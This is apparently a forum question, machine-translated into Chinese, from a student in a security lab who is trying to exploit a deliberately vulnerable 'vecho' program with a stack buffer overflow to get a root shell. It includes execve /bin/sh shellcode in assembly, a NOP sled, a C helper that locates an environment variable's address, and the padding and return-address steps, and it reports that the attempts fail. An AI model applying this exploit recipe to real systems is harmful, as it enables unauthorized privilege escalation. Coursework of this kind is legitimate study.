0
我正在做一個實驗,要求我們執行緩衝區溢出以使用內置的脆弱命令vecho(功能與echo相同)獲取root權限。然而,無論我嘗試什麼,我都無法讓它工作。使用vecho實現緩衝區溢出漏洞
.section .text
.globl _start
_start:
xor %eax, %eax // your comments go here
push %eax // and here, and so on...
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %ecx
push %ebx
mov %eax, %edx
mov $0xb, %al
int $0x80
我們做
export EGG=$(<shellcode.bin)
這個裝入保存雞蛋的環境變量,然後我們做一個雪橇
SLED=`python -c "print '\x90' * 100"`
而且雪橇添加到變量
export EGG=$SLED$EGG
然後我們找到這EGG將是當我們運行vecho使用該
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv){
char *ptr;
if(argc < 3){
printf("Usage:%s<environmentvar><targetprogramname>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
然後,我們做這樣的事情
ADDRESS=echo -en "\xff\xff\xff\xbf"
和填充變量是足夠的字符創建的以Little Endian形式的地址變量的地址推地址到EIP,然後運行
vecho $PADDING$ADDRESS
但無論我怎麼努力,我得到或者如果填充太小,一個成功的打印,賽格故障,如果是填充太長,非法指令在中間。我覺得這個非法指令很重要,但我無法實際運行shell代碼。